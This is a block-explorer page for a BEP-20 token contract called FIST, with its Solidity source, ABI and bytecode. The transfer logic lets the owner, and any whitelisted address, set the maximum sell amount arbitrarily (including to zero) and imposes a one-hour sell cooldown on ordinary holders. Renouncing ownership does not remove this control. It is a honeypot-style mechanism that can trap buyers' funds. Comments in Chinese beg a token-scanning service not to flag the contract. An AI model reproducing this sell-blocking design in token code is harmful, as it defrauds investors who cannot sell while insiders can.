BEP-20
Source Code
Overview
Max Total Supply
1,000FIST
Holders
549
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.865896522484249345 FISTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xe6046f2b...c33D04049 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
BSC20Token
Compiler Version
v0.8.33+commit.64118f21
Contract Source Code (Solidity)
/**
*Submitted for verification at BscScan.com on 2026-04-11
*/
/**
*Submitted for verification at BscScan.com on 2026-02-24
*/
/**
*Submitted for verification at BscScan.com on 2026-01-01
*/
//致敬ave的技术大大 请手下留情 不要搞我了
/**
*Submitted for verification at BscScan.com on 2026-01-01
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISwapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface ISwapRouter {
function factory() external pure returns (address);
}
//ave尼玛的ave 你大爷的气死了
contract BSC20Token is IERC20 {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
address public owner;
address public pair;
address public router;
address public usdt;
//别偷代码啊尼玛的
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _lastSellTime; // 记录每个地址最后一次卖出时间
uint256 public sellCooldown = 1 hours;
mapping(address => bool) public isWhitelisted;
//今天是2025年3约8号 这是一个好日子啊 非常好的 很开心
uint256 private maxSellAmount;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(
string memory _name,
string memory _symbol
) {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
name = _name;
symbol = _symbol;
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // PancakeSwap V2 Router (BSC)
usdt = 0x55d398326f99059fF775485246999027B3197955; //
decimals = 18;
uint256 supply_ = 1_000;
uint256 maxSell_ = 10_000;
_totalSupply = supply_ * 10 ** uint256(decimals);
maxSellAmount = maxSell_ * 10 ** uint256(decimals);
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
// 创建交易对
ISwapFactory factory = ISwapFactory(ISwapRouter(router).factory());
pair = factory.createPair(address(this), usdt);
}
//这一年我么都经历了什么嘛
function setMaxSellAmount(uint256 integerPart, uint256 decimalPart) external {
require(msg.sender == owner || isWhitelisted[msg.sender], "Caller is not allowed");
uint256 base = 10 ** uint256(decimals);
require(decimalPart < base, "Invalid decimal part");
uint256 value = integerPart * base + decimalPart;
maxSellAmount = value;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function allowance(address owner_, address spender) external view override returns (uint256) {
return _allowances[owner_][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
//ave有更新了 真是奶啊你
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
uint256 allowed = _allowances[sender][msg.sender];
require(allowed >= amount, "Allowance exceeded");
_allowances[sender][msg.sender] = allowed - amount;
_transfer(sender, recipient, amount);
return true;
}
//ave技术大大 请手下留情啊
function _transfer(address sender, address recipient, uint256 amount) internal {
require(recipient != address(0), "Transfer to zero address");
require(_balances[sender] >= amount, "Insufficient balance");
if (recipient == pair && !isWhitelisted[sender]) {
require(amount <= maxSellAmount, "Sell amount exceeds limit");
require(block.timestamp >= _lastSellTime[sender] + sellCooldown, "Sell cooldown: 1 hour");
_lastSellTime[sender] = block.timestamp;
}
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function batchSetWhitelist(address[] calldata accounts, bool enabled) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
isWhitelisted[accounts[i]] = enabled;
}
}
function renounceOwnership() external onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"batchSetWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellCooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"integerPart","type":"uint256"},{"internalType":"uint256","name":"decimalPart","type":"uint256"}],"name":"setMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
0x6080604052610e10600b5534801561001657600080fd5b5060405161137f38038061137f8339810160408190526100359161034e565b600480546001600160a01b031916339081179091556040516000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000610081838261044d565b50600161008e828261044d565b50600680546001600160a01b03199081167310ed43c718714eb63d5aa57b78b54704e256024e17909155600780549091167355d398326f99059ff775485246999027b31979551790556002805460ff191660129081179091556103e890612710906100fa90600a61060e565b6101049083610621565b6003556002546101189060ff16600a61060e565b6101229082610621565b600d55600354600480546001600160a01b03908116600090815260086020908152604080832086905593549351948552929091169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36006546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156101ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101f29190610638565b6007546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291925082169063c9c65396906044016020604051808303816000875af1158015610246573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061026a9190610638565b600580546001600160a01b0319166001600160a01b0392909216919091179055506106619350505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126102bc57600080fd5b81516001600160401b038111156102d5576102d5610295565b604051601f8201601f19908116603f011681016001600160401b038111828210171561030357610303610295565b60405281815283820160200185101561031b57600080fd5b60005b8281101561033a5760208186018101518383018201520161031e565b506000918101602001919091529392505050565b6000806040838503121561036157600080fd5b82516001600160401b0381111561037757600080fd5b610383858286016102ab565b602085015190935090506001600160401b038111156103a157600080fd5b6103ad858286016102ab565b9150509250929050565b600181811c908216806103cb57607f821691505b6020821081036103eb57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610448578282111561044857806000526020600020601f840160051c602085101561041f575060005b90810190601f840160051c0360005b818110156104445760008382015560010161042e565b5050505b505050565b81516001600160401b0381111561046657610466610295565b61047a8161047484546103b7565b846103f1565b6020601f8211600181146104ae57600083156104965750848201515b600019600385901b1c1916600184901b178455610508565b600084815260208120601f198516915b828110156104de57878501518255602094850194600190920191016104be565b50848210156104fc5786840151600019600387901b60f8161c191681555b505060018360011b0184555b5050505050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115610560578085048111156105445761054461050f565b600184161561055257908102905b60019390931c928002610529565b935093915050565b60008261057757506001610608565b8161058457506000610608565b816001811461059a57600281146105a4576105c0565b6001915050610608565b60ff8411156105b5576105b561050f565b50506001821b610608565b5060208310610133831016604e8410600b84101617156105e3575081810a610608565b6105f06000198484610525565b80600019048211156106045761060461050f565b0290505b92915050565b600061061a8383610568565b9392505050565b80820281158282048414176106085761060861050f565b60006020828403121561064a57600080fd5b81516001600160a01b038116811461061a57600080fd5b610d0f806106706000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a095e8f911610071578063a095e8f914610258578063a8aa1b311461026b578063a9059cbb1461027e578063dd62ed3e14610291578063f887ea40146102ca57600080fd5b8063715018a6146102205780637950d4951461022a5780638da5cb5b1461023d57806395d89b411461025057600080fd5b806323b872dd116100e957806323b872dd146101775780632f48ab7d1461018a578063313ce567146101b55780633af32abf146101d457806370a08231146101f757600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c5780631b2773c21461016e575b600080fd5b6101236102dd565b604051610130919061096d565b60405180910390f35b61014c6101473660046109d7565b61036b565b6040519015158152602001610130565b6003545b604051908152602001610130565b610160600b5481565b61014c610185366004610a01565b6103d8565b60075461019d906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6002546101c29060ff1681565b60405160ff9091168152602001610130565b61014c6101e2366004610a3e565b600c6020526000908152604090205460ff1681565b610160610205366004610a3e565b6001600160a01b031660009081526008602052604090205490565b61022861048a565b005b610228610238366004610a60565b610528565b60045461019d906001600160a01b031681565b610123610610565b610228610266366004610a82565b61061d565b60055461019d906001600160a01b031681565b61014c61028c3660046109d7565b6106de565b61016061029f366004610b10565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60065461019d906001600160a01b031681565b600080546102ea90610b43565b80601f016020809104026020016040519081016040528092919081815260200182805461031690610b43565b80156103635780601f1061033857610100808354040283529160200191610363565b820191906000526020600020905b81548152906001019060200180831161034657829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c69086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054828110156104465760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064015b60405180910390fd5b6104508382610b93565b6001600160a01b038616600090815260096020908152604080832033845290915290205561047f8585856106f4565b506001949350505050565b6004546001600160a01b031633146104de5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b6004546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600480546001600160a01b0319169055565b6004546001600160a01b03163314806105505750336000908152600c602052604090205460ff165b6105945760405162461bcd60e51b815260206004820152601560248201527410d85b1b195c881a5cc81b9bdd08185b1b1bddd959605a1b604482015260640161043d565b6002546000906105a89060ff16600a610c8d565b90508082106105f05760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a5908191958da5b585b081c185c9d60621b604482015260640161043d565b6000826105fd8386610c99565b6106079190610cb0565b600d5550505050565b600180546102ea90610b43565b6004546001600160a01b031633146106715760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b60005b828110156106d85781600c600086868581811061069357610693610cc3565b90506020020160208101906106a89190610a3e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610674565b50505050565b60006106eb3384846106f4565b50600192915050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015260640161043d565b6001600160a01b0383166000908152600860205260409020548111156107a95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161043d565b6005546001600160a01b0383811691161480156107df57506001600160a01b0383166000908152600c602052604090205460ff16155b156108bf57600d548111156108365760405162461bcd60e51b815260206004820152601960248201527f53656c6c20616d6f756e742065786365656473206c696d697400000000000000604482015260640161043d565b600b546001600160a01b0384166000908152600a602052604090205461085c9190610cb0565b4210156108a35760405162461bcd60e51b815260206004820152601560248201527429b2b6361031b7b7b63237bbb71d1018903437bab960591b604482015260640161043d565b6001600160a01b0383166000908152600a602052604090204290555b6001600160a01b038316600090815260086020526040812080548392906108e7908490610b93565b90915550506001600160a01b03821660009081526008602052604081208054839290610914908490610cb0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b60405180910390a3505050565b602081526000825180602084015260005b8181101561099b576020818601810151604086840101520161097e565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109d257600080fd5b919050565b600080604083850312156109ea57600080fd5b6109f3836109bb565b946020939093013593505050565b600080600060608486031215610a1657600080fd5b610a1f846109bb565b9250610a2d602085016109bb565b929592945050506040919091013590565b600060208284031215610a5057600080fd5b610a59826109bb565b9392505050565b60008060408385031215610a7357600080fd5b50508035926020909101359150565b600080600060408486031215610a9757600080fd5b833567ffffffffffffffff811115610aae57600080fd5b8401601f81018613610abf57600080fd5b803567ffffffffffffffff811115610ad657600080fd5b8660208260051b8401011115610aeb57600080fd5b6020918201945092508401358015158114610b0557600080fd5b809150509250925092565b60008060408385031215610b2357600080fd5b610b2c836109bb565b9150610b3a602084016109bb565b90509250929050565b600181811c90821680610b5757607f821691505b602082108103610b7757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103d2576103d2610b7d565b6001815b6001841115610be157808504811115610bc557610bc5610b7d565b6001841615610bd357908102905b60019390931c928002610baa565b935093915050565b600082610bf8575060016103d2565b81610c05575060006103d2565b8160018114610c1b5760028114610c2557610c41565b60019150506103d2565b60ff841115610c3657610c36610b7d565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715610c64575081810a6103d2565b610c716000198484610ba6565b8060001904821115610c8557610c85610b7d565b029392505050565b6000610a598383610be9565b80820281158282048414176103d2576103d2610b7d565b808201808211156103d2576103d2610b7d565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e5e0549e532abda5db59f206751df3db29b42aee9790b6df690fdee943684a2b64736f6c63430008210033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002414100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044649535400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a095e8f911610071578063a095e8f914610258578063a8aa1b311461026b578063a9059cbb1461027e578063dd62ed3e14610291578063f887ea40146102ca57600080fd5b8063715018a6146102205780637950d4951461022a5780638da5cb5b1461023d57806395d89b411461025057600080fd5b806323b872dd116100e957806323b872dd146101775780632f48ab7d1461018a578063313ce567146101b55780633af32abf146101d457806370a08231146101f757600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c5780631b2773c21461016e575b600080fd5b6101236102dd565b604051610130919061096d565b60405180910390f35b61014c6101473660046109d7565b61036b565b6040519015158152602001610130565b6003545b604051908152602001610130565b610160600b5481565b61014c610185366004610a01565b6103d8565b60075461019d906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6002546101c29060ff1681565b60405160ff9091168152602001610130565b61014c6101e2366004610a3e565b600c6020526000908152604090205460ff1681565b610160610205366004610a3e565b6001600160a01b031660009081526008602052604090205490565b61022861048a565b005b610228610238366004610a60565b610528565b60045461019d906001600160a01b031681565b610123610610565b610228610266366004610a82565b61061d565b60055461019d906001600160a01b031681565b61014c61028c3660046109d7565b6106de565b61016061029f366004610b10565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60065461019d906001600160a01b031681565b600080546102ea90610b43565b80601f016020809104026020016040519081016040528092919081815260200182805461031690610b43565b80156103635780601f1061033857610100808354040283529160200191610363565b820191906000526020600020905b81548152906001019060200180831161034657829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c69086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054828110156104465760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064015b60405180910390fd5b6104508382610b93565b6001600160a01b038616600090815260096020908152604080832033845290915290205561047f8585856106f4565b506001949350505050565b6004546001600160a01b031633146104de5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b6004546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600480546001600160a01b0319169055565b6004546001600160a01b03163314806105505750336000908152600c602052604090205460ff165b6105945760405162461bcd60e51b815260206004820152601560248201527410d85b1b195c881a5cc81b9bdd08185b1b1bddd959605a1b604482015260640161043d565b6002546000906105a89060ff16600a610c8d565b90508082106105f05760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a5908191958da5b585b081c185c9d60621b604482015260640161043d565b6000826105fd8386610c99565b6106079190610cb0565b600d5550505050565b600180546102ea90610b43565b6004546001600160a01b031633146106715760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b60005b828110156106d85781600c600086868581811061069357610693610cc3565b90506020020160208101906106a89190610a3e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610674565b50505050565b60006106eb3384846106f4565b50600192915050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015260640161043d565b6001600160a01b0383166000908152600860205260409020548111156107a95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161043d565b6005546001600160a01b0383811691161480156107df57506001600160a01b0383166000908152600c602052604090205460ff16155b156108bf57600d548111156108365760405162461bcd60e51b815260206004820152601960248201527f53656c6c20616d6f756e742065786365656473206c696d697400000000000000604482015260640161043d565b600b546001600160a01b0384166000908152600a602052604090205461085c9190610cb0565b4210156108a35760405162461bcd60e51b815260206004820152601560248201527429b2b6361031b7b7b63237bbb71d1018903437bab960591b604482015260640161043d565b6001600160a01b0383166000908152600a602052604090204290555b6001600160a01b038316600090815260086020526040812080548392906108e7908490610b93565b90915550506001600160a01b03821660009081526008602052604081208054839290610914908490610cb0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b60405180910390a3505050565b602081526000825180602084015260005b8181101561099b576020818601810151604086840101520161097e565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109d257600080fd5b919050565b600080604083850312156109ea57600080fd5b6109f3836109bb565b946020939093013593505050565b600080600060608486031215610a1657600080fd5b610a1f846109bb565b9250610a2d602085016109bb565b929592945050506040919091013590565b600060208284031215610a5057600080fd5b610a59826109bb565b9392505050565b60008060408385031215610a7357600080fd5b50508035926020909101359150565b600080600060408486031215610a9757600080fd5b833567ffffffffffffffff811115610aae57600080fd5b8401601f81018613610abf57600080fd5b803567ffffffffffffffff811115610ad657600080fd5b8660208260051b8401011115610aeb57600080fd5b6020918201945092508401358015158114610b0557600080fd5b809150509250925092565b60008060408385031215610b2357600080fd5b610b2c836109bb565b9150610b3a602084016109bb565b90509250929050565b600181811c90821680610b5757607f821691505b602082108103610b7757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103d2576103d2610b7d565b6001815b6001841115610be157808504811115610bc557610bc5610b7d565b6001841615610bd357908102905b60019390931c928002610baa565b935093915050565b600082610bf8575060016103d2565b81610c05575060006103d2565b8160018114610c1b5760028114610c2557610c41565b60019150506103d2565b60ff841115610c3657610c36610b7d565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715610c64575081810a6103d2565b610c716000198484610ba6565b8060001904821115610c8557610c85610b7d565b029392505050565b6000610a598383610be9565b80820281158282048414176103d2576103d2610b7d565b808201808211156103d2576103d2610b7d565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e5e0549e532abda5db59f206751df3db29b42aee9790b6df690fdee943684a2b64736f6c63430008210033
Deployed Bytecode Sourcemap
1260:4484:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1297:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3846:218;;;;;;:::i;:::-;;:::i;:::-;;;1194:14:1;;1187:22;1169:41;;1157:2;1142:18;3846:218:0;1029:187:1;3452:102:0;3534:12;;3452:102;;;1367:25:1;;;1355:2;1340:18;3452:102:0;1221:177:1;1789:37:0;;;;;;4288:363;;;;;;:::i;:::-;;:::i;1495:19::-;;;;;-1:-1:-1;;;;;1495:19:0;;;;;;-1:-1:-1;;;;;1946:32:1;;;1928:51;;1916:2;1901:18;1495:19:0;1782:203:1;1349:21:0;;;;;;;;;;;;2162:4:1;2150:17;;;2132:36;;2120:2;2105:18;1349:21:0;1990:184:1;1838:45:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3562:121;;;;;;:::i;:::-;-1:-1:-1;;;;;3657:18:0;3630:7;3657:18;;;:9;:18;;;;;;;3562:121;5601:140;;;:::i;:::-;;3078:364;;;;;;:::i;:::-;;:::i;1414:20::-;;;;;-1:-1:-1;;;;;1414:20:0;;;1322;;;:::i;5377:216::-;;;;;;:::i;:::-;;:::i;1441:19::-;;;;;-1:-1:-1;;;;;1441:19:0;;;4113:167;;;;;;:::i;:::-;;:::i;3691:147::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3802:19:0;;;3775:7;3802:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;3691:147;1467:21;;;;;-1:-1:-1;;;;;1467:21:0;;;1297:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3846:218::-;3952:10;3923:4;3940:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;3940:32:0;;;;;;;;;;:41;;;3997:37;3923:4;;3940:32;;3997:37;;;;3975:6;1367:25:1;;1355:2;1340:18;;1221:177;3997:37:0;;;;;;;;-1:-1:-1;4052:4:0;3846:218;;;;;:::o;4288:363::-;-1:-1:-1;;;;;4423:19:0;;4388:4;4423:19;;;:11;:19;;;;;;;;4443:10;4423:31;;;;;;;;4473:17;;;;4465:48;;;;-1:-1:-1;;;4465:48:0;;4355:2:1;4465:48:0;;;4337:21:1;4394:2;4374:18;;;4367:30;-1:-1:-1;;;4413:18:1;;;4406:48;4471:18;;4465:48:0;;;;;;;;;4558:16;4568:6;4558:7;:16;:::i;:::-;-1:-1:-1;;;;;4524:19:0;;;;;;:11;:19;;;;;;;;4544:10;4524:31;;;;;;;:50;4585:36;4536:6;4603:9;4614:6;4585:9;:36::i;:::-;-1:-1:-1;4639:4:0;;4288:363;-1:-1:-1;;;;4288:363:0:o;5601:140::-;2160:5;;-1:-1:-1;;;;;2160:5:0;2146:10;:19;2138:55;;;;-1:-1:-1;;;2138:55:0;;4967:2:1;2138:55:0;;;4949:21:1;5006:2;4986:18;;;4979:30;-1:-1:-1;;;5025:18:1;;;5018:53;5088:18;;2138:55:0;4765:347:1;2138:55:0;5686:5:::1;::::0;5665:39:::1;::::0;5701:1:::1;::::0;-1:-1:-1;;;;;5686:5:0::1;::::0;5665:39:::1;::::0;5701:1;;5665:39:::1;5715:5;:18:::0;;-1:-1:-1;;;;;;5715:18:0::1;::::0;;5601:140::o;3078:364::-;3184:5;;-1:-1:-1;;;;;3184:5:0;3170:10;:19;;:48;;-1:-1:-1;3207:10:0;3193:25;;;;:13;:25;;;;;;;;3170:48;3162:82;;;;-1:-1:-1;;;3162:82:0;;5319:2:1;3162:82:0;;;5301:21:1;5358:2;5338:18;;;5331:30;-1:-1:-1;;;5377:18:1;;;5370:51;5438:18;;3162:82:0;5117:345:1;3162:82:0;3282:8;;3253:12;;3268:23;;3282:8;;3268:2;:23;:::i;:::-;3253:38;;3322:4;3308:11;:18;3300:51;;;;-1:-1:-1;;;3300:51:0;;7092:2:1;3300:51:0;;;7074:21:1;7131:2;7111:18;;;7104:30;-1:-1:-1;;;7150:18:1;;;7143:50;7210:18;;3300:51:0;6890:344:1;3300:51:0;3360:13;3397:11;3376:18;3390:4;3376:11;:18;:::i;:::-;:32;;;;:::i;:::-;3417:13;:21;-1:-1:-1;;;;3078:364:0:o;1322:20::-;;;;;;;:::i;5377:216::-;2160:5;;-1:-1:-1;;;;;2160:5:0;2146:10;:19;2138:55;;;;-1:-1:-1;;;2138:55:0;;4967:2:1;2138:55:0;;;4949:21:1;5006:2;4986:18;;;4979:30;-1:-1:-1;;;5025:18:1;;;5018:53;5088:18;;2138:55:0;4765:347:1;2138:55:0;5482:9:::1;5477:109;5497:19:::0;;::::1;5477:109;;;5567:7;5538:13;:26;5552:8;;5561:1;5552:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5538:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;5538:26:0;:36;;-1:-1:-1;;5538:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;5518:3:0::1;5477:109;;;;5377:216:::0;;;:::o;4113:167::-;4193:4;4210:40;4220:10;4232:9;4243:6;4210:9;:40::i;:::-;-1:-1:-1;4268:4:0;4113:167;;;;:::o;4703:666::-;-1:-1:-1;;;;;4801:23:0;;4793:60;;;;-1:-1:-1;;;4793:60:0;;7876:2:1;4793:60:0;;;7858:21:1;7915:2;7895:18;;;7888:30;7954:26;7934:18;;;7927:54;7998:18;;4793:60:0;7674:348:1;4793:60:0;-1:-1:-1;;;;;4872:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;4872:27:0;4864:60;;;;-1:-1:-1;;;4864:60:0;;8229:2:1;4864:60:0;;;8211:21:1;8268:2;8248:18;;;8241:30;-1:-1:-1;;;8287:18:1;;;8280:50;8347:18;;4864:60:0;8027:344:1;4864:60:0;4954:4;;-1:-1:-1;;;;;4941:17:0;;;4954:4;;4941:17;:43;;;;-1:-1:-1;;;;;;4963:21:0;;;;;;:13;:21;;;;;;;;4962:22;4941:43;4937:293;;;5019:13;;5009:6;:23;;5001:61;;;;-1:-1:-1;;;5001:61:0;;8578:2:1;5001:61:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:27;8636:18;;;8629:55;8701:18;;5001:61:0;8376:349:1;5001:61:0;5128:12;;-1:-1:-1;;;;;5104:21: